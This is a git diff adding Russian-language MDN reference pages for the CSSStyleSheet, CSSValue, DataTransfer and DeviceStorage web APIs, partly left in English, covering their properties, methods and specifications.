+<p>Таблица стилей состоит (правил)<em>{{domxref("CSSRule", "rules", "", 1)}}</em>, таких как <em>{{domxref("CSSStyleRule", "style rules", "", 1)}}</em><em> </em>("<code>h1,h2 { font-size: 16pt }"</code>),<em>и различных</em> (<code>@import</code>, <code>@media</code>, ...), etc. <strong><code>CSSStyleSheet</code></strong> interface позволяет получать и изменять список правил в таблице стилей.</p>
+
+<p>Смотрите {{anch("Notes")}} секцию о  различных способах получения <strong><code>CSSStyleSheet</code></strong> object.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, {{domxref("StyleSheet")}}.</em></p>
+
+<dl>
+ <dt id="cssRules">{{domxref("CSSStyleSheet.cssRules")}}</dt>
+ <dd>Returns a live {{domxref("CSSRuleList")}}, listing the {{domxref("CSSRule")}} objects in the style sheet.<br>
+ This is normally used to access individual rules like this:
+ <pre><code>   styleSheet.cssRules[i] // where i = 0..cssRules.length-1</code></pre>
+ To add or remove items in <code>cssRules</code>, use the <code>CSSStyleSheet</code>'s <code>deleteRule()</code> and <code>insertRule()</code> methods, described below.</dd>
+ <dt id="ownerRule">{{domxref("CSSStyleSheet.ownerRule")}}</dt>
+ <dd>If this style sheet is imported into the document using an {{cssxref("@import")}} rule, the <code>ownerRule</code> property will return that {{domxref("CSSImportRule")}}, otherwise it returns <code>null</code>.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, {{domxref("Stylesheet")}}.</em></p>
+
+<dl>
+ <dt id="deleteRule">{{domxref("CSSStyleSheet.deleteRule()")}}</dt>
+ <dd>Deletes a rule at the specified position from the style sheet.</dd>
+ <dt id="insertRule">{{domxref("CSSStyleSheet.insertRule()")}}</dt>
+ <dd>Inserts a new rule at the specified position in the style sheet, given the textual representation of the rule.</dd>
+</dl>
+
+<h2 id="Notes">Notes</h2>
+
+<p>In some browsers, if a stylesheet is loaded from a different domain, calling <code>cssRules</code> results in <code>SecurityError</code>.</p>
+
+<p>A stylesheet is associated with at most one {{domxref("Document")}}, which it applies to (unless {{domxref("StyleSheet.disabled", "disabled", "", 1)}}). A list of <code>CSSStyleSheet</code> objects for a given document can be obtained using the {{domxref("document.styleSheets")}} property. A specific style sheet can also be accessed from its <em>owner</em> object (<code>Node</code> or <code>CSSImportRule</code>), if any.</p>
+
+<p>A <code>CSSStyleSheet</code> object is created and inserted into the document's <code>styleSheets</code> list automatically by the browser, when a style sheet is loaded for a document. As the {{domxref("document.styleSheets")}} list cannot be modified directly, there's no useful way to create a new <code>CSSStyleSheet</code> object manually (although <a href="https://wicg.github.io/construct-stylesheets/">Constructable Stylesheet Objects</a> is coming to the web platform soon and is already supported in Blink). To create a new stylesheet, insert a {{HTMLElement("style")}} or {{HTMLElement("link")}} element into the document.</p>
+
+<p>A (possibly incomplete) list of ways a style sheet can be associated with a document follows:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Reason for the style sheet to be associated with the document</th>
+   <th scope="col">Appears in <code>document.<br>
+    styleSheets</code> list</th>
+   <th scope="col">Getting the owner element/rule given the style sheet object</th>
+   <th scope="col">The interface for the owner object</th>
+   <th scope="col">Getting the CSSStyleSheet object from the owner</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{HTMLElement("style")}} and {{HTMLElement("link")}} elements in the document</td>
+   <td>Yes</td>
+   <td>{{domxref("StyleSheet.ownerNode", ".ownerNode")}}</td>
+   <td>{{domxref("HTMLLinkElement")}},<br>
+    {{domxref("HTMLStyleElement")}},<br>
+    or {{domxref("SVGStyleElement")}}</td>
+   <td>{{domxref("LinkStyle.sheet", ".sheet")}}</td>
+  </tr>
+  <tr>
+   <td>CSS {{cssxref("@import")}} rule in other style sheets applied to the document</td>
+   <td>Yes</td>
+   <td>{{domxref("CSSStyleSheet.ownerRule", ".ownerRule")}}</td>
+   <td>{{domxref("CSSImportRule")}}</td>
+   <td>{{domxref("CSSImportRule.styleSheet", ".styleSheet")}}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;?xml-stylesheet ?&gt;</code> processing instruction in the (non-HTML) document</td>
+   <td>Yes</td>
+   <td>{{domxref("StyleSheet.ownerNode", ".ownerNode")}}</td>
+   <td>{{domxref("ProcessingInstruction")}}</td>
+   <td>{{domxref("LinkStyle.sheet", ".sheet")}}</td>
+  </tr>
+  <tr>
+   <td>HTTP Link Header</td>
+   <td>Yes</td>
+   <td><em>N/A</em></td>
+   <td>N/A</td>
+   <td>N/A</td>
+  </tr>
+  <tr>
+   <td>User agent (default) style sheets</td>
+   <td>No</td>
+   <td>N/A</td>
+   <td>N/A</td>
+   <td>N/A</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM", "#cssstylesheet", 'CSSStyleSheet')}}</td>
+   <td>{{Spec2("CSSOM")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Style", "css.html#CSS-CSSStyleSheet", "CSSStyleSheet")}}</td>
+   <td>{{Spec2("DOM2 Style")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.CSSStyleSheet")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/CSS_Object_Model/Using_dynamic_styling_information">Using dynamic styling information</a></li>
+</ul>
diff --git a/files/ru/web/api/cssvalue/index.html b/files/ru/web/api/cssvalue/index.html
new file mode 100644
index 0000000000..168f152849
--- /dev/null
+++ b/files/ru/web/api/cssvalue/index.html
@@ -0,0 +1,74 @@
+---
+title: CSSValue
+slug: Web/API/CSSValue
+translation_of: Web/API/CSSValue
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Интерфейс <code><strong>CSSValue</strong></code> возвращает текущее вычсленное значение CSS-свойства. </p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("CSSValue.cssText")}}</dt>
+ <dd>{{domxref("DOMString")}} возвращает текущее значение.</dd>
+ <dt>{{domxref("CSSValue.cssValueType")}} {{readonlyInline}}</dt>
+ <dd>An <code>unsigned short</code> representing a code defining the type of the value. Возможные значения:
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td class="header">Константа</td>
+    <td class="header">Описание</td>
+   </tr>
+   <tr>
+    <td><code>CSS_CUSTOM</code></td>
+    <td>The value is a custom value.</td>
+   </tr>
+   <tr>
+    <td><code>CSS_INHERIT</code></td>
+    <td>Значение унаследовано и <code>cssText</code> содержит <code>"inherit"</code>.</td>
+   </tr>
+   <tr>
+    <td><code>CSS_PRIMITIVE_VALUE</code></td>
+    <td>The value is a primitive value and an instance of the {{domxref("CSSPrimitiveValue")}} interface can be obtained by using binding-specific casting methods on this instance of the <code>CSSValue</code> interface.</td>
+   </tr>
+   <tr>
+    <td><code>CSS_VALUE_LIST</code></td>
+    <td>The value is a <code>CSSValue</code> list and an instance of the {{domxref("CSSValueList")}} interface can be obtained by using binding-specific casting methods on this instance of the <code>CSSValue</code> interface.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Style', 'css.html#CSS-CSSValue', 'CSSValue')}}</td>
+   <td>{{Spec2('DOM2 Style')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.CSSValue")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("CSSPrimitiveValue")}}</li>
+ <li>{{domxref("CSSValueList")}}</li>
+</ul>
diff --git a/files/ru/web/api/datatransfer/index.html b/files/ru/web/api/datatransfer/index.html
new file mode 100644
index 0000000000..e811476965
--- /dev/null
+++ b/files/ru/web/api/datatransfer/index.html
@@ -0,0 +1,383 @@
+---
+title: DataTransfer
+slug: Web/API/DataTransfer
+tags:
+  - API
+translation_of: Web/API/DataTransfer
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>{{ gecko_minversion_header("1.9") }} Объект <strong>DataTransfer</strong> используется для хранения данных, перетаскиваемых мышью во время операции <strong>drag and drop</strong>. Он может хранить от одного до нескольких элементов данных, вне зависимости от их типа. Для получения доп. информации об операции drag and drop, см. <a href="/En/DragDrop/Drag_and_Drop">Drag and Drop</a></p>
+
+<p>Объект может быть получен из свойства <strong>dataTransfer</strong> всех событий перетаскивания. Он не может быть отдельно создан.</p>
+
+<h2 id="Properties" name="Properties">Список свойств</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Свойство</td>
+   <td class="header">Тип</td>
+  </tr>
+  <tr>
+   <td><code><a href="#dropEffect.28.29" title="En/DragDrop/DataTransfer#dropEffect">dropEffect</a></code></td>
+   <td><code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/String" title="en/String">String</a></code></td>
+  </tr>
+  <tr>
+   <td><code><a href="#effectAllowed.28.29" title="En/DragDrop/DataTransfer#effectAllowed">effectAllowed</a></code></td>
+   <td><code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/String" title="en/String">String</a></code></td>
+  </tr>
+  <tr>
+   <td><a href="#files.28.29" title="En/DragDrop/DataTransfer#files"><code>files</code></a> {{ gecko_minversion_inline("1.9.2") }}</td>
+   <td>{{ domxref("FileList") }}</td>
+  </tr>
+  <tr>
+   <td><code><a href="#mozCursor" title="En/DragDrop/DataTransfer#mozCursor">mozCursor</a></code> {{ non-standard_inline() }} {{ gecko_minversion_inline("1.9.1") }}</td>
+   <td><code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/String" title="en/String">String</a></code></td>
+  </tr>
+  <tr>
+   <td><code><a href="#mozItemCount.28.29" title="En/DragDrop/DataTransfer#mozItemCount">mozItemCount</a></code> {{ non-standard_inline() }}</td>
+   <td><code>unsigned long</code></td>
+  </tr>
+  <tr>
+   <td><a href="#mozSourceNode" title="En/DragDrop/DataTransfer#mozSourceNode"><code>mozSourceNode</code></a> {{ non-standard_inline() }} {{ gecko_minversion_inline("2") }}</td>
+   <td>{{ domxref("Node") }}</td>
+  </tr>
+  <tr>
+   <td><a href="#mozUserCancelled" title="En/DragDrop/DataTransfer#mozUserCancelled"><code>mozUserCancelled</code></a></td>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Boolean" title="en/Core JavaScript 1.5 Reference/Global Objects/Boolean"><code>Boolean</code></a></td>
+  </tr>
+  <tr>
+   <td><code><a href="#types.28.29" title="En/DragDrop/DataTransfer#types">types</a></code></td>
+   <td><code><a href="/en-US/docs/Web/API/DOMStringList" title="en-US/docs/Web/API/DOMStringList">DOMStringList</a></code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Method_overview" name="Method_overview">Список методов</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#addElement.28.29">addElement</a>(in <a href="/en/XPCOM_Interface_Reference/nsIDOMElement" title="en/nsIDOMElement">Element</a> element)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#clearData.28.29">clearData</a>([in <a href="/en/String" title="en/String">String</a> type])</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/String" title="en/String">String</a> <a href="#getData.28.29">getData</a>(in <a href="/en/String" title="en/String">String</a> type)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#setData.28.29">setData</a>(in <a href="/en/String" title="en/String">String</a> type, in <a href="/en/String" title="en/String">String</a> data)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#setDragImage.28.29">setDragImage</a>(in <a href="/en/XPCOM_Interface_Reference/nsIDOMElement" title="en/nsIDOMElement">nsIDOMElement</a> image, in long x, in long y)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#mozClearDataAt.28.29">mozClearDataAt</a>([in <a href="/en/String" title="en/String">String</a> type, in unsigned long index])</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/XPCOM_Interface_Reference/NsIVariant" title="en/nsIVariant">nsIVariant</a> <a href="#mozGetDataAt.28.29">mozGetDataAt</a>(in <a href="/en/String" title="en/String">String</a> type, in unsigned long index)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#mozSetDataAt.28.29">mozSetDataAt</a>(in <a href="/en/String" title="en/String">String</a> type, in <a href="/en/XPCOM_Interface_Reference/NsIVariant" title="en/nsIVariant">nsIVariant</a> data, in unsigned long index)</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/StringList" title="en/StringList">StringList</a> <a href="#mozTypesAt.28.29">mozTypesAt</a>([in unsigned long index])</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<h3 id="dropEffect.28.29" name="dropEffect.28.29">dropEffect</h3>
+
+<p>Реальное действие, которое будет выполнено, и единственное возможное значение свойства <strong>effectAllowed.</strong></p>
+
+<p>Для событий <strong>dragenter</strong> и <strong>dragover</strong>, <strong>dropEffect</strong> будет инициализировано значением, зависящим от того, какое действие запрашивает пользователь. То, как это определяется, зависит от платформы, но, как правило, пользователи могут зажать клавиши-модификаторы для выбора желаемого действия. В обработчике событий для <strong>dragenter</strong> и <strong>dragover</strong>, <strong>dropEffect</strong> следует модифицировать, если запрашиваемое пользователем действие не то, которое требовалось.</p>
+
+<p>Для событий <strong>dragstart</strong>, <strong>drag</strong>, и <strong>dragleave</strong>,<strong> dropEffect</strong> будет инициализировано значением "none". Cвойству <strong>dropEffect</strong> можно присвоить любое значение, но оно не будет ни для чего использоваться.</p>
+
+<p>Для событий <strong>drop</strong> и <strong>dragend</strong>, <strong>dropEffect</strong> будет инициализировано значением, которое было назначено свойству <strong>dropEffect</strong> после последнего события <strong>dragenter</strong> или <strong>dragover</strong>.</p>
+
+<p>Возможные значения:</p>
+
+<ul>
+ <li><strong>copy</strong>: в новом расположении создается копия исходного элемента.</li>
+ <li><strong>move</strong>: элемент перемещается в новое расположение.</li>
+ <li><strong>link</strong>: в новом расположении создается ссылка на исходный элемент.</li>
+ <li><strong>none</strong>: элемент не может быть брошен.</li>
+</ul>
+
+<p>Присвоение каких-либо других значений не возымеет эффекта и оставит старое значение.</p>
+
+<h3 id="effectAllowed.28.29" name="effectAllowed.28.29">effectAllowed</h3>
+
+<p>Определяет эффекты, которые разрешены для этого перетаскивания (дрэг). Вы можете указать их в собитии <code>dragstart </code>чтобы желаемый эффект сработал на перетаскиваемом элементе (что перетаскиваем),  или в событии  <code>dragenter </code>и<code> dragenter </code>чтобы желаемый эффект сработал для цели перетаскивания (куда перетаскиваем). В других событиях значение не используется.</p>
+
+<p>Возможные значения:</p>
+
+<ul>
+ <li><strong>copy</strong>: Копия ресурса может быть сделана в новом месте.</li>
+ <li><strong>move</strong>: Элемент может быть перемещен в новое место. </li>
+ <li><strong>link</strong>: A link may be established to the source at the new location.</li>
+ <li><strong>copyLink</strong>: A copy or link operation is permitted.</li>
+ <li><strong>copyMove</strong>: A copy or move operation is permitted.</li>
+ <li><strong>linkMove</strong>: A link or move operation is permitted.</li>
+ <li><strong>all</strong>: All operations are permitted.</li>
+ <li><strong>none</strong>: the item may not be dropped.</li>
+ <li><strong>uninitialized</strong>: the default value when the effect has not been set, equivalent to all.</li>
+</ul>
+
+<p>Assigning any other value has no effect and retains the old value.</p>
+
+<h3 id="files.28.29" name="files.28.29">files</h3>
+
+<p>{{ gecko_minversion_header("1.9.2") }}</p>
+
+<p>Содержит список локальных файлов доступных на dataTransfer. Если операция перемещения не включала в себя перемещение файлов, то данное свойство будет пустым списком. Неверное обращение по индексу к объекту {{ domxref("FileList") }} определённым данным свойством вернёт null.</p>
+
+<h4 id="Пример">Пример</h4>
+
+<p>Данный пример демонстрирует перетаскивание файлов в окно браузера:</p>
+
+<p><a class="external" href="http://jsfiddle.net/9C2EF/" title="http://jsfiddle.net/9C2EF/">http://jsfiddle.net/9C2EF/</a></p>
+
+<h3 id="types.28.29" name="types.28.29">types</h3>
+
+<p>Содержит список типов форматов данных в порядке добавления данных. Если ничего не было добавлено, то будет вернут пустой список.</p>
+
+<p>{{ gecko_minversion_note("1.9.2", 'The string "Files" is included in this list if files are included in the drag.') }}</p>
+
+<p>{{ h3_gecko_minversion("mozCursor", "1.9.1", "mozCursor") }}</p>
+
+<p>The drag cursor's state. This is primarily used to control the cursor during tab drags.</p>
+
+<div class="note"><strong>Note:</strong> This method is currently only implemented on Windows.</div>
+
+<h4 id="Possible_values">Possible values</h4>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Uses the default system behavior.</dd>
+ <dt><code>default</code></dt>
+ <dd>Uses the default Gecko behavior, which is to set the cursor to an arrow during the drag operation.</dd>
+</dl>
+
+<div class="note"><strong>Note:</strong> If you specify any value other than "default", "auto" is assumed.</div>
+
+<h3 id="mozItemCount.28.29" name="mozItemCount.28.29">mozItemCount</h3>
+
+<p>The number of items being dragged.</p>
+
+<div class="note"><strong>Note:</strong> This property is Gecko-specific.</div>
+
+<h3 id="mozSourceNode">mozSourceNode</h3>
+
+<p>{{ gecko_minversion_header("2") }}</p>
+
+<p>The {{ domxref("Node") }} over which the mouse cursor was located when the button was pressed to initiate the drag operation. This value is <code>null</code> for external drags or if the caller can't access the node.</p>
+
+<div class="note"><strong>Note:</strong> This property is Gecko-specific.</div>
+
+<h3 id="mozItemCount.28.29" name="mozItemCount.28.29">mozUserCancelled</h3>
+
+<p>This property applies only to the <code>dragend</code> event, and is <code>true</code> if the user canceled the drag operation by pressing escape. It will be <code>false</code> in all other cases, including if the drag failed for any other reason, for instance due to a drop over an invalid location. This property is not currently implemented on Linux.</p>
+
+<div class="note"><strong>Note:</strong> This property is Gecko-specific.</div>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<h3 id="addElement.28.29" name="addElement.28.29">addElement()</h3>
+
+<p>Данный метод устанавливает источник перетаскивания. Обычно вы его не изменяете, но он влияет на то,  на каком узле запускаются события drag и dragend. По умолчанию целью является узел который перетаскивали.</p>
+
+<pre class="eval"> void addElement(
+   in Element element
+ );
+</pre>
+
+<h6 id="Parameters_addElement" name="Parameters_addElement">Параметры</h6>
+
+<dl>
+ <dt><code>element </code></dt>
+ <dd>Элемент для добавления.</dd>
+</dl>
+
+<h3 id="clearData.28.29" name="clearData.28.29">clearData()</h3>
+
+<p>Удаление данных, связанные с указанным типом. Аргумент <strong>type</strong> является необязательным. Если <strong>type</strong> пуст или не указан, тогда данные, связанные со всеми типами удаляются. Если данные для указанного типа не существуют или передача данных не содержит данных, тогда этот метод не будет делать ничего.</p>
+
+<pre class="eval"> void clearData(
+   [optional] in String type
+ );
+</pre>
+
+<h6 id="Parameters_clearData" name="Parameters_clearData">Параметры</h6>
+
+<dl>
+ <dt><code>type </code></dt>
+ <dd>Тип данных для удаления.</dd>
+</dl>
+
+<h3 id="getData.28.29" name="getData.28.29">getData()</h3>
+
+<p>Возвращает данные для указанного типа или пустую строку, если данные для указанного типа не существуют или передаваемая сущность не содержит данных.</p>
+
+<p>Ошибка безопасности возникает при попытке получить данные во время перетаскивания из другого домена, иначе вызывающий объект не будет иметь доступа. Эти данные будут доступны только после того, как элемент будет отпущен в случае события <strong>drop</strong>.</p>
+
+<pre class="eval"> String getData(
+   in String type
+ );
+</pre>
+
+<h6 id="Parameters_getData" name="Parameters_getData">Параметры</h6>
+
+<p>Тип данных который будет возвращен.</p>
+
+<dl>
+ <dt><code>type </code></dt>
+</dl>
+
+<h3 id="setData.28.29" name="setData.28.29">setData()</h3>
+
+<p>Установка данных для указываемого типа. Если данные для <strong>type</strong> не существуют, тогда они добавляются в конце, так что последним элементом в списке типов будет новый формат. Если данные для <strong>type</strong> уже существуют, существующие данные заменяются в том же положении. То есть порядок списка типов не изменяется при замене данных одного и того же типа.</p>
+
+<pre class="eval"> void setData(
+   in String type,
+   in String data
+ );
+</pre>
+
+<h6 id="Parameters_setData" name="Parameters_setData">Параметры</h6>
+
+<dl>
+ <dt><code>type </code></dt>
+ <dd>Тип добавляемых данных.</dd>
+ <dt><code>data </code></dt>
+ <dd>Данные для добавления.</dd>
+</dl>
+
+<h3 id="setDragImage.28.29" name="setDragImage.28.29">setDragImage()</h3>
+
+<p>Устанавливает изображение, которое будет использоваться для перетаскивания если нужно. В большинстве случаев это не будет установлено, так как изображение по умолчанию создается из перетаскиваемого узла.</p>
+
+<p>Если узел является HTML-элементом img, HTML-элементом canvas или XUL-элементом изображения, тогда используются данные изображения. В противном случае изображение должно быть видимым узлом, и из этого будет создано перетаскиваемое изображение. Если изображение равно null, любое пользовательское изображение перетаскиваемое очищается и вместо него используется значение по умолчанию.</p>
+
+<p>Координаты указывают смещение в изображении, где должен находиться курсор мыши. Например, для центрирования изображения используйте значения, которые составляют половину ширины и высоты изображения.</p>
+
+<pre class="eval"> void setDragImage(
+   in Element image,
+   in long x,
+   in long y
+ );
+</pre>
+
+<h6 id="Parameters_setDragImage" name="Parameters_setDragImage">Параметры</h6>
+
+<dl>
+ <dt><code>image </code></dt>
+ <dd>Элемент используемый в качестве изображения обратной связи при перетаскивании</dd>
+ <dt><code>x </code></dt>
+ <dd>Горизонтальное смещение внутри изображения.</dd>
+ <dt><code>y </code></dt>
+ <dd>Вертикальное смещение внутри изображения.</dd>
+</dl>
+
+<h3 id="mozClearDataAt.28.29" name="mozClearDataAt.28.29">mozClearDataAt()</h3>
+
+<p>Removes the data associated with the given format for an item at the specified index. The index is in the range from zero to the number of items minus one.</p>
+
+<p>If the last format for the item is removed, the entire item is removed, reducing <code>mozItemCount</code> by one.</p>
+
+<p>If the <code>format</code> list is empty, then the data associated with all formats is removed. If the format is not found, then this method has no effect.</p>
+
+<div class="note"><strong>Note:</strong> This method is Gecko-specific.</div>
+
+<pre class="eval"> void mozClearDataAt(
+   [optional] in String type,
+   in unsigned long index
+ );
+</pre>
+
+<h6 id="Parameters_mozClearDataAt" name="Parameters_mozClearDataAt">Parameters</h6>
+
+<dl>
+ <dt><code>type </code></dt>
+ <dd>The type of data to remove.</dd>
+ <dt><code>index </code></dt>
+ <dd>The index of the data to remove.</dd>
+</dl>
+
+<h3 id="mozGetDataAt.28.29" name="mozGetDataAt.28.29">mozGetDataAt()</h3>
+
+<p>Retrieves the data associated with the given format for an item at the specified index, or null if it does not exist. The index should be in the range from zero to the number of items minus one.</p>
+
+<div class="note"><strong>Note:</strong> This method is Gecko-specific.</div>
+
+<pre class="eval"> nsIVariant mozGetDataAt(
+   [optional] in String type,
+   in unsigned long index
+ );
+</pre>
+
+<h6 id="Parameters_mozClearDataAt" name="Parameters_mozClearDataAt">Parameters</h6>
+
+<dl>
+ <dt><code>type </code></dt>
+ <dd>The type of data to retrieve.</dd>
+ <dt><code>index </code></dt>
+ <dd>The index of the data to retrieve.</dd>
+</dl>
+
+<h3 id="mozSetDataAt.28.29" name="mozSetDataAt.28.29">mozSetDataAt()</h3>
+
+<p>A data transfer may store multiple items, each at a given zero-based index. <code>mozSetDataAt()</code> may only be called with an index argument less than <code>mozItemCount</code> in which case an existing item is modified, or equal to <code>mozItemCount</code> in which case a new item is added, and the <code>mozItemCount</code> is incremented by one.</p>
+
+<p>Data should be added in order of preference, with the most specific format added first and the least specific format added last. If data of the given format already exists, it is replaced in the same position as the old data.</p>
+
+<p>The data should be either a string, a primitive boolean or number type (which will be converted into a string) or an {{ interface("nsISupports") }}.</p>
+
+<div class="note"><strong>Note:</strong> This method is Gecko-specific.</div>
+
+<pre class="eval"> void mozSetDataAt(
+   [optional] in String type,
+   in nsIVariant data,
+   in unsigned long index
+ );
+</pre>
+
+<h6 id="Parameters_mozSetDataAt" name="Parameters_mozSetDataAt">Parameters</h6>
+
+<dl>
+ <dt><code>type </code></dt>
+ <dd>The type of data to add.</dd>
+ <dt><code>data </code></dt>
+ <dd>The data to add.</dd>
+ <dt><code>index </code></dt>
+ <dd>The index of the data to add.</dd>
+</dl>
+
+<h3 id="mozTypesAt.28.29" name="mozTypesAt.28.29">mozTypesAt()</h3>
+
+<p>Holds a list of the format types of the data that is stored for an item at the specified index. If the index is not in the range from 0 to the number of items minus one, an empty string list is returned.</p>
+
+<div class="note"><strong>Note:</strong> This method is Gecko-specific.</div>
+
+<pre class="eval"> nsIVariant mozTypesAt(
+   in unsigned long index
+ );
+</pre>
+
+<h6 id="Parameters_mozTypesAt" name="Parameters_mozTypesAt">Parameters</h6>
+
+<dl>
+ <dt><code>index </code></dt>
+ <dd>The index of the data for which to retrieve the types.</dd>
+</dl>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<p><a class="internal" href="/En/DragDrop/Drag_and_Drop" title="Drag and Drop">Drag and Drop</a></p>
+
+<p>{{ languages( { "ja": "Ja/DragDrop/DataTransfer" } ) }}</p>
diff --git a/files/ru/web/api/devicestorage/index.html b/files/ru/web/api/devicestorage/index.html
new file mode 100644
index 0000000000..00c3b20192
--- /dev/null
+++ b/files/ru/web/api/devicestorage/index.html
@@ -0,0 +1,87 @@
+---
+title: DeviceStorage
+slug: Web/API/DeviceStorage
+tags:
+  - API
+  - Device Storage
+  - WebAPI
+translation_of: Archive/B2G_OS/API/DeviceStorage
+---
+<p>{{ ApiRef() }}</p>
+<p>{{ non-standard_header() }}</p>
+<p>{{ B2GOnlyHeader2('certified') }}</p>
+<h2 id="Введение">Введение</h2>
+<p><code>DeviceStorage</code> — интерфейс, используемый для доступа к файлам в особом хранилище (или <em>области хранения</em>), доступном на устройстве. Это хранилище, по сути, является файловой системой — хотя оно на самом деле скрывает нижележащую файловую системы.</p>
+<p><span style="line-height: 1.5;">Чтобы получить доступ к хранилищу, необходимо использовать метод {{domxref("window.navigator.getDeviceStorage()","navigator.getDeviceStorage()")}} , возвращающую объекты </span><code style="font-style: normal; line-height: 1.5;">DeviceStorage</code><span style="line-height: 1.5;">. Затем вы сможете использовать методы и свойства этих объектов, чтобы получить доступ к содержимому хранилища.</span></p>
+<h2 id="Свойства">Свойства</h2>
+<dl>
+ <dt>
+  {{domxref("DeviceStorage.storageName")}} {{readonlyinline}}</dt>
+ <dd>
+  Строка, представляющая имя области хранения. Та же, что используется при вызове {{domxref("window.navigator.getDeviceStorage()","getDeviceStorage")}} чтобы получить объект <code>DeviceStorage</code>.</dd>
+ <dt>
+  {{domxref("DeviceStorage.default")}} {{readonlyinline}}</dt>
+ <dd>
+  Логическое значение, указывающее, назначено ли это хранилище по умолчанию для хранения новых файлов <span style="line-height: 1.5;">(</span><code style="font-style: normal; line-height: 1.5;">true</code><span style="line-height: 1.5;">) или нет (</span><code style="font-style: normal; line-height: 1.5;">false</code><span style="line-height: 1.5;">).</span></dd>
+</dl>
+<h3 id="Обработчики_событий">Обработчики событий</h3>
+<dl>
+ <dt>
+  {{domxref("DeviceStorage.onchange")}}</dt>
+ <dd>
+  Обрабатывает событие {{event("change")}}. Это событие происходит каждый раз, когда содержимое хранилища меняется.</dd>
+</dl>
+<h2 id="Функции">Функции</h2>
+<dl>
+ <dt>
+  {{ domxref("DeviceStorage.add()") }}</dt>
+ <dd>
+  Создает файл в области хранения. Имя файла генерируется автоматически.</dd>
+ <dt>
+  {{ domxref("DeviceStorage.addNamed()") }}</dt>
+ <dd>
+  Создает файл в области хранения. Имя файла задается при вызове функции.</dd>
+ <dt>
+  {{ domxref("DeviceStorage.available()") }}</dt>
+ <dd>
+  Возвращает <code><em>available</em></code> если хранилище доступно для использования и <code><em>shared</em></code> если устройство подключено к ПК.</dd>
+ <dt>
+  {{ domxref("DeviceStorage.delete()") }}</dt>
+ <dd>
+  Удаляет файл из области хранения.</dd>
+ <dt>
+  {{ domxref("DeviceStorage.enumerate()") }}</dt>
+ <dd>
+  Возвращает список файлов, доступных в области хранения. Полученные файлы доступны только для чтения.</dd>
+ <dt>
+  {{ domxref("DeviceStorage.enumerateEditable()") }}</dt>
+ <dd>
+  Возвращает список файлов, доступных в области хранения.</dd>
+ <dt>
+  {{ domxref("DeviceStorage.freeSpace()") }}</dt>
+ <dd>
+  Возвращает количество свободного места, доступного в области хранения.</dd>
+ <dt>
+  {{ domxref("DeviceStorage.get()") }}</dt>
+ <dd>
+  Возвращает файлы, доступные только для чтения.</dd>
+ <dt>
+  {{ domxref("DeviceStorage.getEditable()") }}</dt>
+ <dd>
+  Возвращает файлы, доступные для редактирования.</dd>
+ <dt>
+  {{ domxref("DeviceStorage.usedSpace()") }}</dt>
+ <dd>
+  Возвращает количество занятого места в области хранения.</dd>
+</dl>
+<h2 id="Обработчики_событий_2">Обработчики событий</h2>
+<p>Функции, наследованные от {{domxref("EventTarget")}} интерфейса:</p>
+<p>{{page("/en-US/docs/Web/API/EventTarget","Methods")}}</p>
+<h2 id="Specification" name="Specification">Спецификация</h2>
+<p>Не является частью какой-либо спецификации.</p>
+<h2 id="Смотрите_также">Смотрите также</h2>
+<ul>
+ <li>{{domxref("window.navigator.getDeviceStorage()","navigator.getDeviceStorage()")}}</li>
+ <li><a href="/en-US/docs/WebAPI/Device_Storage" title="/en-US/docs/WebAPI/Device_Storage">Device Storage API</a></li>
+ <li><a href="/en-US/docs/WebAPI/FileHandle" title="/en-US/docs/WebAPI/FileHandle">FileHandler API</a></li>
+</ul>
